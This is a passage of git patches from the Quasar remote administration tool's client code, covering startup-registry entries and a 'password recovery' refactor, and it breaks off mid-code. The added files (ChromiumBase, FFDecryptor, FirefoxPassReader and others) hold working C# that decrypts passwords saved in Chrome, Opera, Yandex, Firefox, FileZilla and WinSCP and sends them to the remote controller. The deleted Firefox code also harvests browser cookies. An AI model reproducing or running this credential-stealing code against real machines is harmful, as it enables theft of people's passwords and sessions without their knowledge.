"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) - { - throw new Exception("Could not add value"); - } - break; case StartupType.StartMenu: if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) { @@ -245,26 +196,6 @@ private void Execute(ISender client, DoStartupItemRemove message) throw new Exception("Could not remove value"); } break; - case StartupType.LocalMachineWoW64Run: - if (!PlatformHelper.Is64Bit) - throw new NotSupportedException("Only on 64-bit systems supported"); - - if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) - { - throw new Exception("Could not remove value"); - } - break; - case StartupType.LocalMachineWoW64RunOnce: - if (!PlatformHelper.Is64Bit) - throw new NotSupportedException("Only on 64-bit systems supported"); - - if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, - "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) - { - throw new Exception("Could not remove value"); - } - break; case StartupType.StartMenu: string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), message.StartupItem.Name); diff --git a/Quasar.Client/Messages/TaskManagerHandler.cs b/Quasar.Client/Messages/TaskManagerHandler.cs index 3fa0b78cd..8909037f5 100644 --- a/Quasar.Client/Messages/TaskManagerHandler.cs +++ b/Quasar.Client/Messages/TaskManagerHandler.cs @@ -16,7 +16,7 @@ namespace Quasar.Client.Messages /// /// Handles messages for the interaction with tasks. /// - public class TaskManagerHandler : IMessageProcessor + public class TaskManagerHandler : IMessageProcessor, IDisposable { private readonly QuasarClient _client; From 9ee51dd1cc02a5981cfe10e9d520da467758dabc Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sun, 31 May 2020 11:53:14 +0200 Subject: [PATCH 191/229] Update password recovery Closes #416 --- .../JsonUtil.cs => Helper/JsonHelper.cs} | 17 +- .../IpGeoLocation/GeoInformationRetriever.cs | 36 +- Quasar.Client/IpGeoLocation/GeoResponse.cs | 4 +- .../Messages/PasswordRecoveryHandler.cs | 34 +- Quasar.Client/Recovery/Browsers/Chrome.cs | 40 -- .../Recovery/Browsers/ChromePassReader.cs | 28 ++ .../Recovery/Browsers/ChromiumBase.cs | 86 ++++ .../Recovery/Browsers/FFDecryptor.cs | 108 +++++ Quasar.Client/Recovery/Browsers/Firefox.cs | 409 ------------------ .../Recovery/Browsers/FirefoxPassReader.cs | 197 +++++++++ ...lorer.cs => InternetExplorerPassReader.cs} | 30 +- Quasar.Client/Recovery/Browsers/Opera.cs | 41 -- .../Recovery/Browsers/OperaPassReader.cs | 28 ++ Quasar.Client/Recovery/Browsers/Yandex.cs | 39 -- .../Recovery/Browsers/YandexPassReader.cs | 28 ++ .../{FileZilla.cs => FileZillaPassReader.cs} | 21 +- .../{WinSCP.cs => WinScpPassReader.cs} | 23 +- Quasar.Client/Recovery/IPassReader.cs | 22 + Quasar.Client/Recovery/Utilities/Chromium.cs | 174 -------- .../Recovery/Utilities/SQLiteHandler.cs | 33 +- Quasar.Client/Utilities/NativeMethods.cs | 6 +- 21 files changed, 615 insertions(+), 789 deletions(-) rename Quasar.Client/{Recovery/Utilities/JsonUtil.cs => Helper/JsonHelper.cs} (66%) delete mode 100644 Quasar.Client/Recovery/Browsers/Chrome.cs create mode 100644 Quasar.Client/Recovery/Browsers/ChromePassReader.cs create mode 100644 Quasar.Client/Recovery/Browsers/ChromiumBase.cs create mode 100644 Quasar.Client/Recovery/Browsers/FFDecryptor.cs delete mode 100644 Quasar.Client/Recovery/Browsers/Firefox.cs create mode 100644 Quasar.Client/Recovery/Browsers/FirefoxPassReader.cs rename Quasar.Client/Recovery/Browsers/{InternetExplorer.cs => InternetExplorerPassReader.cs} (98%) delete mode 100644 Quasar.Client/Recovery/Browsers/Opera.cs create mode 100644 Quasar.Client/Recovery/Browsers/OperaPassReader.cs delete mode 100644 Quasar.Client/Recovery/Browsers/Yandex.cs create mode 100644 Quasar.Client/Recovery/Browsers/YandexPassReader.cs rename Quasar.Client/Recovery/FtpClients/{FileZilla.cs => FileZillaPassReader.cs} (84%) rename Quasar.Client/Recovery/FtpClients/{WinSCP.cs => WinScpPassReader.cs} (91%) create mode 100644 Quasar.Client/Recovery/IPassReader.cs delete mode 100644 Quasar.Client/Recovery/Utilities/Chromium.cs diff --git a/Quasar.Client/Recovery/Utilities/JsonUtil.cs b/Quasar.Client/Helper/JsonHelper.cs similarity index 66% rename from Quasar.Client/Recovery/Utilities/JsonUtil.cs rename to Quasar.Client/Helper/JsonHelper.cs index 23714144a..9dfdfe755 100644 --- a/Quasar.Client/Recovery/Utilities/JsonUtil.cs +++ b/Quasar.Client/Helper/JsonHelper.cs @@ -2,9 +2,12 @@ using System.Runtime.Serialization.Json; using System.Text; -namespace Quasar.Client.Recovery.Utilities +namespace Quasar.Client.Helper { - public static class JsonUtil + /// + /// Provides methods to serialize and deserialize JSON. + /// + public static class JsonHelper { /// /// Serializes an object to the respectable JSON string. @@ -18,6 +21,7 @@ public static string Serialize(T o) return Encoding.UTF8.GetString(ms.ToArray()); } } + /// /// Deserializes a JSON string to the specified object. /// @@ -29,5 +33,14 @@ public static T Deserialize(string json) return (T)s.ReadObject(ms); } } + + /// + /// Deserializes a JSON stream to the specified object. + /// + public static T Deserialize(Stream stream) + { + var s = new DataContractJsonSerializer(typeof(T)); + return (T)s.ReadObject(stream); + } } } diff --git a/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs b/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs index 00867b939..bb07633ec 100644 --- a/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs +++ b/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs @@ -2,8 +2,6 @@ using System.Globalization; using System.IO; using System.Net; -using System.Runtime.Serialization.Json; -using System.Text; namespace Quasar.Client.IpGeoLocation { @@ -83,8 +81,6 @@ private GeoInformation TryRetrieveOnline() { try { - DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(GeoResponse)); - HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://tools.keycdn.com/geo.json"); request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"; request.Proxy = null; @@ -94,27 +90,19 @@ private GeoInformation TryRetrieveOnline() { using (Stream dataStream = response.GetResponseStream()) { - using (StreamReader reader = new StreamReader(dataStream)) + var geoInfo = JsonHelper.Deserialize(dataStream); + + GeoInformation g = new GeoInformation { - string responseString = reader.ReadToEnd(); - - using (MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(responseString))) - { - var geoInfo = (GeoResponse)jsonSerializer.ReadObject(ms); - - GeoInformation g = new GeoInformation - { - IpAddress = geoInfo.Data.Geo.Ip, - Country = geoInfo.Data.Geo.CountryName, - CountryCode = geoInfo.Data.Geo.CountryCode, - Timezone = geoInfo.Data.Geo.Timezone, - Asn = geoInfo.Data.Geo.Asn.ToString(), - Isp = geoInfo.Data.Geo.Isp - }; - - return g; - } - } + IpAddress = geoInfo.Data.Geo.Ip, + Country = geoInfo.Data.Geo.CountryName, + CountryCode = geoInfo.Data.Geo.CountryCode, + Timezone = geoInfo.Data.Geo.Timezone, + Asn = geoInfo.Data.Geo.Asn.ToString(), + Isp = geoInfo.Data.Geo.Isp + }; + + return g; } } } diff --git a/Quasar.Client/IpGeoLocation/GeoResponse.cs b/Quasar.Client/IpGeoLocation/GeoResponse.cs index 0475e4215..48cc4b296 100644 --- a/Quasar.Client/IpGeoLocation/GeoResponse.cs +++ b/Quasar.Client/IpGeoLocation/GeoResponse.cs @@ -15,14 +15,14 @@ public class GeoResponse public DataObject Data { get; set; } } - [DataContract()] + [DataContract] public class DataObject { [DataMember(Name = "geo")] public LocationData Geo { get; set; } } - [DataContract()] + [DataContract] public class LocationData { [DataMember(Name = "host")] diff --git a/Quasar.Client/Messages/PasswordRecoveryHandler.cs b/Quasar.Client/Messages/PasswordRecoveryHandler.cs index b86f0abaa..84c685db8 100644 --- a/Quasar.Client/Messages/PasswordRecoveryHandler.cs +++ b/Quasar.Client/Messages/PasswordRecoveryHandler.cs @@ -1,9 +1,12 @@ -using Quasar.Client.Recovery.Browsers; +using Quasar.Client.Recovery; +using Quasar.Client.Recovery.Browsers; using Quasar.Client.Recovery.FtpClients; using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; +using System; using System.Collections.Generic; +using System.Diagnostics; namespace Quasar.Client.Messages { @@ -27,13 +30,28 @@ private void Execute(ISender client, GetPasswords message) { List recovered = new List(); - recovered.AddRange(Chrome.GetSavedPasswords()); - recovered.AddRange(Opera.GetSavedPasswords()); - recovered.AddRange(Yandex.GetSavedPasswords()); - recovered.AddRange(InternetExplorer.GetSavedPasswords()); - recovered.AddRange(Firefox.GetSavedPasswords()); - recovered.AddRange(FileZilla.GetSavedPasswords()); - recovered.AddRange(WinSCP.GetSavedPasswords()); + var passReaders = new IAccountReader[] + { + new ChromePassReader(), + new OperaPassReader(), + new YandexPassReader(), + new FirefoxPassReader(), + new InternetExplorerPassReader(), + new FileZillaPassReader(), + new WinScpPassReader() + }; + + foreach (var passReader in passReaders) + { + try + { + recovered.AddRange(passReader.ReadAccounts()); + } + catch (Exception e) + { + Debug.WriteLine(e); + } + } client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered }); } diff --git a/Quasar.Client/Recovery/Browsers/Chrome.cs b/Quasar.Client/Recovery/Browsers/Chrome.cs deleted file mode 100644 index 68738cadc..000000000 --- a/Quasar.Client/Recovery/Browsers/Chrome.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using Quasar.Client.Recovery.Utilities; -using Quasar.Common.Models; - -namespace Quasar.Client.Recovery.Browsers -{ - public class Chrome - { - public static List GetSavedPasswords() - { - try - { - string datapath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), - "Google\\Chrome\\User Data\\Default\\Login Data"); - return ChromiumBase.Passwords(datapath, "Chrome"); - } - catch (Exception) - { - return new List(); - } - } - - public static List GetSavedCookies() - { - try - { - string datapath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), - "Google\\Chrome\\User Data\\Default\\Cookies"); - return ChromiumBase.Cookies(datapath, "Chrome"); - } - catch (Exception) - { - return new List(); - } - } - - } -} diff --git a/Quasar.Client/Recovery/Browsers/ChromePassReader.cs b/Quasar.Client/Recovery/Browsers/ChromePassReader.cs new file mode 100644 index 000000000..dafa51e55 --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/ChromePassReader.cs @@ -0,0 +1,28 @@ +using Quasar.Common.Models; +using System; +using System.Collections.Generic; +using System.IO; + +namespace Quasar.Client.Recovery.Browsers +{ + public class ChromePassReader : ChromiumBase + { + /// + public override string ApplicationName => "Chrome"; + + /// + public override IEnumerable ReadAccounts() + { + try + { + string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"); + return ReadAccounts(filePath, ApplicationName); + } + catch (Exception) + { + return new List(); + } + } + } +} diff --git a/Quasar.Client/Recovery/Browsers/ChromiumBase.cs b/Quasar.Client/Recovery/Browsers/ChromiumBase.cs new file mode 100644 index 000000000..88c94e495 --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/ChromiumBase.cs @@ -0,0 +1,86 @@ +using System; +using Quasar.Common.Models; +using System.Collections.Generic; +using Quasar.Client.Recovery.Utilities; +using System.IO; +using System.Security.Cryptography; +using System.Text; + +namespace Quasar.Client.Recovery.Browsers +{ + /// + /// Provides basic account recovery capabilities from chromium-based applications. + /// + public abstract class ChromiumBase : IAccountReader + { + /// + public abstract string ApplicationName { get; } + + /// + public abstract IEnumerable ReadAccounts(); + + /// + /// Reads the stored accounts of an chromium-based application. + /// + /// The file path of the logins database. + /// The name of the chromium-based application. + /// A list of recovered accounts. + protected List ReadAccounts(string filePath, string browserName) + { + var result = new List(); + + if (File.Exists(filePath)) + { + SQLiteHandler sqlDatabase; + + if (!File.Exists(filePath)) + return result; + + try + { + sqlDatabase = new SQLiteHandler(filePath); + } + catch (Exception) + { + return result; + } + + if (!sqlDatabase.ReadTable("logins")) + return result; + + for (int i = 0; i < sqlDatabase.GetRowCount(); i++) + { + try + { + var host = sqlDatabase.GetValue(i, "origin_url"); + var user = sqlDatabase.GetValue(i, "username_value"); + var pass = Encoding.UTF8.GetString(ProtectedData.Unprotect( + Encoding.Default.GetBytes(sqlDatabase.GetValue(i, "password_value")), null, + DataProtectionScope.CurrentUser)); + + if (!string.IsNullOrEmpty(host) && !string.IsNullOrEmpty(user)) + { + result.Add(new RecoveredAccount + { + Url = host, + Username = user, + Password = pass, + Application = browserName + }); + } + } + catch (Exception) + { + // ignore invalid entry + } + } + } + else + { + throw new FileNotFoundException("Can not find chrome logins file"); + } + + return result; + } + } +} diff --git a/Quasar.Client/Recovery/Browsers/FFDecryptor.cs b/Quasar.Client/Recovery/Browsers/FFDecryptor.cs new file mode 100644 index 000000000..b51e66bbf --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/FFDecryptor.cs @@ -0,0 +1,108 @@ +using Quasar.Client.Utilities; +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; + +namespace Quasar.Client.Recovery.Browsers +{ + /// + /// Provides methods to decrypt Firefox credentials. + /// + public class FFDecryptor : IDisposable + { + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate long NssInit(string configDirectory); + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate int Pk11sdrDecrypt(ref TSECItem data, ref TSECItem result, int cx); + + private NssInit NSS_Init; + + private Pk11sdrDecrypt PK11SDR_Decrypt; + + private IntPtr NSS3; + private IntPtr Mozglue; + + public long Init(string configDirectory) + { + string mozillaPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), @"Mozilla Firefox\"); + Mozglue = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "mozglue.dll")); + NSS3 = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "nss3.dll")); + IntPtr initProc = NativeMethods.GetProcAddress(NSS3, "NSS_Init"); + IntPtr decryptProc = NativeMethods.GetProcAddress(NSS3, "PK11SDR_Decrypt"); + NSS_Init = (NssInit)Marshal.GetDelegateForFunctionPointer(initProc, typeof(NssInit)); + PK11SDR_Decrypt = (Pk11sdrDecrypt)Marshal.GetDelegateForFunctionPointer(decryptProc, typeof(Pk11sdrDecrypt)); + return NSS_Init(configDirectory); + } + + public string Decrypt(string cypherText) + { + IntPtr ffDataUnmanagedPointer = IntPtr.Zero; + StringBuilder sb = new StringBuilder(cypherText); + + try + { + byte[] ffData = Convert.FromBase64String(cypherText); + + ffDataUnmanagedPointer = Marshal.AllocHGlobal(ffData.Length); + Marshal.Copy(ffData, 0, ffDataUnmanagedPointer, ffData.Length); + + TSECItem tSecDec = new TSECItem(); + TSECItem item = new TSECItem(); + item.SECItemType = 0; + item.SECItemData = ffDataUnmanagedPointer; + item.SECItemLen = ffData.Length; + + if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0) + { + if (tSecDec.SECItemLen != 0) + { + byte[] bvRet = new byte[tSecDec.SECItemLen]; + Marshal.Copy(tSecDec.SECItemData, bvRet, 0, tSecDec.SECItemLen); + return Encoding.ASCII.GetString(bvRet); + } + } + } + catch (Exception) + { + return null; + } + finally + { + if (ffDataUnmanagedPointer != IntPtr.Zero) + { + Marshal.FreeHGlobal(ffDataUnmanagedPointer); + } + } + + return null; + } + + [StructLayout(LayoutKind.Sequential)] + public struct TSECItem + { + public int SECItemType; + public IntPtr SECItemData; + public int SECItemLen; + } + + /// + /// Disposes all managed and unmanaged resources associated with this class. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + NativeMethods.FreeLibrary(NSS3); + NativeMethods.FreeLibrary(Mozglue); + } + } + } +} diff --git a/Quasar.Client/Recovery/Browsers/Firefox.cs b/Quasar.Client/Recovery/Browsers/Firefox.cs deleted file mode 100644 index 489e6a2f9..000000000 --- a/Quasar.Client/Recovery/Browsers/Firefox.cs +++ /dev/null @@ -1,409 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Runtime.InteropServices; -using System.Text; -using Microsoft.Win32; -using Quasar.Client.Extensions; -using Quasar.Client.Helper; -using Quasar.Client.Recovery.Utilities; -using Quasar.Client.Utilities; -using Quasar.Common.Helpers; -using Quasar.Common.Models; - -namespace Quasar.Client.Recovery.Browsers -{ - /// - /// A small class to recover Firefox Data - /// - public static class Firefox - { - private static IntPtr nssModule; - - private static DirectoryInfo firefoxPath; - private static DirectoryInfo firefoxProfilePath; - - private static FileInfo firefoxLoginFile; - private static FileInfo firefoxCookieFile; - - static Firefox() - { - try - { - firefoxPath = GetFirefoxInstallPath(); - if (firefoxPath == null) - throw new NullReferenceException("Firefox is not installed, or the install path could not be located"); - - firefoxProfilePath = GetProfilePath(); - if (firefoxProfilePath == null) - throw new NullReferenceException("Firefox does not have any profiles, has it ever been launched?"); - - firefoxLoginFile = GetFile(firefoxProfilePath, "logins.json"); - if (firefoxLoginFile == null) - throw new NullReferenceException("Firefox does not have any logins.json file"); - - firefoxCookieFile = GetFile(firefoxProfilePath, "cookies.sqlite"); - if (firefoxCookieFile == null) - throw new NullReferenceException("Firefox does not have any cookie file"); - } - catch (Exception) - { - - } - } - - #region Public Members - /// - /// Recover Firefox Passwords from logins.json - /// - /// List of Username/Password/Host - public static List GetSavedPasswords() - { - List firefoxPasswords = new List(); - try - { - // init libs - InitializeDelegates(firefoxProfilePath, firefoxPath); - - JsonFFData ffLoginData = new JsonFFData(); - - using (StreamReader sr = new StreamReader(firefoxLoginFile.FullName)) - { - string json = sr.ReadToEnd(); - ffLoginData = JsonUtil.Deserialize(json); - } - - foreach (Login data in ffLoginData.logins) - { - string username = Decrypt(data.encryptedUsername); - string password = Decrypt(data.encryptedPassword); - Uri host = new Uri(data.formSubmitURL); - - firefoxPasswords.Add(new RecoveredAccount { Url = host.AbsoluteUri, Username = username, Password = password, Application = "Firefox" }); - } - } - catch (Exception) - { - } - return firefoxPasswords; - } - - /// - /// Recover Firefox Cookies from the SQLite3 Database - /// - /// List of Cookies found - public static List GetSavedCookies() - { - List data = new List(); - SQLiteHandler sql = new SQLiteHandler(firefoxCookieFile.FullName); - if (!sql.ReadTable("moz_cookies")) - throw new Exception("Could not read cookie table"); - - int totalEntries = sql.GetRowCount(); - - for (int i = 0; i < totalEntries; i++) - { - try - { - string h = sql.GetValue(i, "host"); - //Uri host = new Uri(h); - string name = sql.GetValue(i, "name"); - string val = sql.GetValue(i, "value"); - string path = sql.GetValue(i, "path"); - - bool secure = sql.GetValue(i, "isSecure") == "0" ? false : true; - bool http = sql.GetValue(i, "isSecure") == "0" ? false : true; - - // if this fails we're in deep shit - long expiryTime = long.Parse(sql.GetValue(i, "expiry")); - long currentTime = ToUnixTime(DateTime.Now); - DateTime exp = FromUnixTime(expiryTime); - bool expired = currentTime > expiryTime; - - data.Add(new FirefoxCookie() - { - Host = h, - ExpiresUTC = exp, - Expired = expired, - Name = name, - Value = val, - Path = path, - Secure = secure, - HttpOnly = http - }); - } - catch (Exception) - { - return data; - } - } - return data; - } - #endregion - - #region Functions - private static void InitializeDelegates(DirectoryInfo firefoxProfilePath, DirectoryInfo firefoxPath) - { - //Return if under firefox 35 (35+ supported) - //Firefox changes their DLL heirarchy/code with different releases - //So we need to avoid trying to load a DLL in the wrong order - //To prevent pop up saying it could not load the DLL - if (new Version(FileVersionInfo.GetVersionInfo(firefoxPath.FullName + "\\firefox.exe").FileVersion).Major < new Version("35.0.0").Major) - return; - - NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr100.dll"); - NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp100.dll"); - NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcr120.dll"); - NativeMethods.LoadLibrary(firefoxPath.FullName + "\\msvcp120.dll"); - NativeMethods.LoadLibrary(firefoxPath.FullName + "\\mozglue.dll"); - nssModule = NativeMethods.LoadLibrary(firefoxPath.FullName + "\\nss3.dll"); - IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "NSS_Init"); - NSS_InitPtr NSS_Init = (NSS_InitPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSS_InitPtr)); - NSS_Init(firefoxProfilePath.FullName); - long keySlot = PK11_GetInternalKeySlot(); - PK11_Authenticate(keySlot, true, 0); - } - private static DateTime FromUnixTime(long unixTime) - { - DateTime epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc); - return epoch.AddSeconds(unixTime); - } - private static long ToUnixTime(DateTime value) - { - TimeSpan span = (value - new DateTime(1970, 1, 1, 0, 0, 0, 0).ToLocalTime()); - return (long)span.TotalSeconds; - } - #endregion - - #region File Handling - private static DirectoryInfo GetProfilePath() - { - string raw = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Mozilla\Firefox\Profiles"; - if (!Directory.Exists(raw)) - throw new Exception("Firefox Application Data folder does not exist!"); - DirectoryInfo profileDir = new DirectoryInfo(raw); - - DirectoryInfo[] profiles = profileDir.GetDirectories(); - if (profiles.Length == 0) - throw new IndexOutOfRangeException("No Firefox profiles could be found"); - - // return first profile - return profiles[0]; - } - private static FileInfo GetFile(DirectoryInfo profilePath, string searchTerm) - { - foreach (FileInfo file in profilePath.GetFiles(searchTerm)) - { - return file; - } - throw new Exception("No Firefox logins.json was found"); - } - private static DirectoryInfo GetFirefoxInstallPath() - { - // get firefox path from registry - using (RegistryKey key = PlatformHelper.Is64Bit ? - RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, - @"SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox") : - RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, - @"SOFTWARE\Mozilla\Mozilla Firefox")) - { - if (key == null) return null; - - string[] installedVersions = key.GetSubKeyNames(); - - // we'll take the first installed version, people normally only have one - if (installedVersions.Length == 0) - throw new IndexOutOfRangeException("No installs of firefox recorded in its key."); - - using (RegistryKey mainInstall = key.OpenSubKey(installedVersions[0])) - { - // get install directory - string installPath = mainInstall.OpenReadonlySubKeySafe("Main") - .GetValueSafe("Install Directory"); - - if (string.IsNullOrEmpty(installPath)) - throw new NullReferenceException("Install string was null or empty"); - - firefoxPath = new DirectoryInfo(installPath); - } - } - return firefoxPath; - } - #endregion - - #region WinApi - // Credit: http://www.pinvoke.net/default.aspx/kernel32.loadlibrary - private static IntPtr LoadWin32Library(string libPath) - { - if (String.IsNullOrEmpty(libPath)) - throw new ArgumentNullException("libPath"); - - IntPtr moduleHandle = NativeMethods.LoadLibrary(libPath); - if (moduleHandle == IntPtr.Zero) - { - var lasterror = Marshal.GetLastWin32Error(); - var innerEx = new Win32Exception(lasterror); - innerEx.Data.Add("LastWin32Error", lasterror); - - throw new Exception("can't load DLL " + libPath, innerEx); - } - return moduleHandle; - } - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - private delegate long NSS_InitPtr(string configdir); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - private delegate int PK11SDR_DecryptPtr(ref TSECItem data, ref TSECItem result, int cx); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - private delegate long PK11_GetInternalKeySlotPtr(); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - private delegate long PK11_AuthenticatePtr(long slot, bool loadCerts, long wincx); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - private delegate int NSSBase64_DecodeBufferPtr(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen); - - [StructLayout(LayoutKind.Sequential)] - private struct TSECItem - { - public int SECItemType; - public int SECItemData; - public int SECItemLen; - } - - #endregion - - #region JSON - // json deserialize classes - /* private class JsonFFData - { - - public long nextId; - public LoginData[] logins; - public string[] disabledHosts; - public int version; - - } - private class LoginData - { - - public long id; - public string hostname; - public string url; - public string httprealm; - public string formSubmitURL; - public string usernameField; - public string passwordField; - public string encryptedUsername; - public string encryptedPassword; - public string guid; - public int encType; - public long timeCreated; - public long timeLastUsed; - public long timePasswordChanged; - public long timesUsed; - - }*/ - public class Login - { - public int id { get; set; } - public string hostname { get; set; } - public object httpRealm { get; set; } - public string formSubmitURL { get; set; } - public string usernameField { get; set; } - public string passwordField { get; set; } - public string encryptedUsername { get; set; } - public string encryptedPassword { get; set; } - public string guid { get; set; } - public int encType { get; set; } - public long timeCreated { get; set; } - public long timeLastUsed { get; set; } - public long timePasswordChanged { get; set; } - public int timesUsed { get; set; } - } - - public class JsonFFData - { - public int nextId { get; set; } - public List logins { get; set; } - public List disabledHosts { get; set; } - public int version { get; set; } - } - #endregion - - #region Delegate Handling - // Credit: http://www.codeforge.com/article/249225 - private static long PK11_GetInternalKeySlot() - { - IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11_GetInternalKeySlot"); - PK11_GetInternalKeySlotPtr ptr = (PK11_GetInternalKeySlotPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_GetInternalKeySlotPtr)); - return ptr(); - } - private static long PK11_Authenticate(long slot, bool loadCerts, long wincx) - { - IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11_Authenticate"); - PK11_AuthenticatePtr ptr = (PK11_AuthenticatePtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11_AuthenticatePtr)); - return ptr(slot, loadCerts, wincx); - } - private static int NSSBase64_DecodeBuffer(IntPtr arenaOpt, IntPtr outItemOpt, StringBuilder inStr, int inLen) - { - IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "NSSBase64_DecodeBuffer"); - NSSBase64_DecodeBufferPtr ptr = (NSSBase64_DecodeBufferPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(NSSBase64_DecodeBufferPtr)); - return ptr(arenaOpt, outItemOpt, inStr, inLen); - } - private static int PK11SDR_Decrypt(ref TSECItem data, ref TSECItem result, int cx) - { - IntPtr pProc = NativeMethods.GetProcAddress(nssModule, "PK11SDR_Decrypt"); - PK11SDR_DecryptPtr ptr = (PK11SDR_DecryptPtr)Marshal.GetDelegateForFunctionPointer(pProc, typeof(PK11SDR_DecryptPtr)); - return ptr(ref data, ref result, cx); - } - private static string Decrypt(string cypherText) - { - StringBuilder sb = new StringBuilder(cypherText); - int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, sb, sb.Length); - TSECItem tSecDec = new TSECItem(); - TSECItem item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem)); - if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0) - { - if (tSecDec.SECItemLen != 0) - { - byte[] bvRet = new byte[tSecDec.SECItemLen]; - Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen); - return Encoding.UTF8.GetString(bvRet); - } - } - return null; - } - #endregion - } - public class FirefoxPassword - { - public string Username { get; set; } - public string Password { get; set; } - public Uri Host { get; set; } - public override string ToString() - { - return string.Format("User: {0}{3}Pass: {1}{3}Host: {2}", Username, Password, Host.Host, Environment.NewLine); - } - } - public class FirefoxCookie - { - public string Host { get; set; } - public string Name { get; set; } - public string Value { get; set; } - public string Path { get; set; } - public DateTime ExpiresUTC { get; set; } - public bool Secure { get; set; } - public bool HttpOnly { get; set; } - public bool Expired { get; set; } - - public override string ToString() - { - return string.Format("Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}", Environment.NewLine, Host, Name, Value, Path, Expired, HttpOnly, Secure); - } - } -} diff --git a/Quasar.Client/Recovery/Browsers/FirefoxPassReader.cs b/Quasar.Client/Recovery/Browsers/FirefoxPassReader.cs new file mode 100644 index 000000000..691812f70 --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/FirefoxPassReader.cs @@ -0,0 +1,197 @@ +using Quasar.Client.Helper; +using Quasar.Client.Recovery.Utilities; +using Quasar.Common.Models; +using System; +using System.Collections.Generic; +using System.IO; +using System.Runtime.Serialization; + +namespace Quasar.Client.Recovery.Browsers +{ + public class FirefoxPassReader : IAccountReader + { + /// + public string ApplicationName => "Firefox"; + + /// + public IEnumerable ReadAccounts() + { + string signonsFile = null; + string loginsFile = null; + bool signonsFound = false; + bool loginsFound = false; + string[] dirs = Directory.GetDirectories(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Mozilla\\Firefox\\Profiles")); + + var logins = new List(); + if (dirs.Length == 0) + return logins; + + foreach (string dir in dirs) + { + string[] files = Directory.GetFiles(dir, "signons.sqlite"); + if (files.Length > 0) + { + signonsFile = files[0]; + signonsFound = true; + } + + files = Directory.GetFiles(dir, "logins.json"); + if (files.Length > 0) + { + loginsFile = files[0]; + loginsFound = true; + } + + if (loginsFound || signonsFound) + { + using (var decrypter = new FFDecryptor()) + { + var r = decrypter.Init(dir); + if (signonsFound) + { + SQLiteHandler sqlDatabase; + + if (!File.Exists(signonsFile)) + return logins; + + try + { + sqlDatabase = new SQLiteHandler(signonsFile); + } + catch (Exception) + { + return logins; + } + + + if (!sqlDatabase.ReadTable("moz_logins")) + return logins; + + for (int i = 0; i < sqlDatabase.GetRowCount(); i++) + { + try + { + var 